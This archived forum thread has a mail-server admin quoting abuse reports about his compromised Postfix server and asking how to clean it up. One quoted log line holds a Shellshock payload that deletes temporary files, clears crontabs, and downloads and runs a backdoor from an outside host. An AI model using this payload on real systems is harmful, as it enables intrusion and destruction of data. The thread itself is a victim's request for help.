This forum is in archive mode. You will not be able to post new content.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - dendic

Pages: [1]
1
Hacking and Security / Re: mail server attack
« on: May 03, 2015, 02:59:42 PM »

what kind of protection to install and how to clean up the my mail server
From: Christopher Ravnborg <cr@rackhosting.com> Date: 2015-04-29 10:34 GMT+02:00 Subject: xxx.xxx.xxx.xxx hosting malicious content To: ivanxx@mydomain.net Cc: "abuse@rackhosting.com" <abuse@rackhosting.com> Hello, xxx.xxx.xxx.xxx is hosting malicious content in form os bruteforce and/or DDoS tools. http://xxx.xxx.xxx.xxx/i.gif shellcode http://xxx.xxx.xxx.xxx/nynew54.gif tar archive. Please handle this issue. -- Med venlig hilsen / Best regards Christopher Ravnborg Rackhosting.com ApS

2
Hacking and Security / mail server attack
« on: May 03, 2015, 08:31:16 AM »
I received next message.Please little explain of my problem  and what can I do with my mail server (postfix,debian) to protect all? ( I have spamassasin on mail server)



From: chopper boy <choprboy@hotmail.com>
Date: 2015-04-29 9:55 GMT+02:00
Subject: Compromised server / Exploit attempts
To: "abuse@xxx.com




Compromised server / Exploit attempts




Exploit attempts via bash variable push. Downloads bash script which
installs backdoor Trojan.Hacktool.Linux.Bf.E and starts additional exploit
scans against other servers.


Compromised server:
5.135.167.145
xxx.xxx.xxx.xxx (IP -mog servera)


Exploit bash scripts:
http://xxx.xxx.xxx.xxx/i.gif
http://xxx.xxx.xxx.xxx/nynew54.gif


Exploit scans address lists:
http://198.27.67.24/news/<xxx>
http://198.27.67.24/download/<xxx>






5.135.167.145 - - [28/Apr/2015:14:45:57 -0700] "GET HTTP/1.1 HTTP/1.1" 400
304 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type:
text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf
/tmp/* ; rm -rf /var/tmp/* ; crontab -r ; killall -9 wget curl lwp-download
b f r xx y i.gif print start pscan pnscan ps ; wget
http://xxx.xxx.xxx.xxx/i.gif ; curl -O http://xxx.xxx.xxx.xxx/i.gif ; chmod +x
i.gif ; nohup ./i.gif &
\");'"


Pages: [1]


Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.